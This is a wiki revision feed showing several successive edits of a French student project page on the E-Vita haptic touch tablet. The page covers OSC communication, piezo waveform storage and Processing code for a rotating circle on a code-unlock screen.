		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37150</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37150"/>
				<updated>2017-01-10T12:50:34Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37149</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37149"/>
				<updated>2017-01-10T12:39:47Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);&lt;br /&gt;
     // if (&lt;br /&gt;
              rotate(direction * millis() * 0.0001 * TWO_PI / 2.0);   // Move 360 degrees in ten second&lt;br /&gt;
      &lt;br /&gt;
      &lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37148</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37148"/>
				<updated>2017-01-10T12:37:00Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
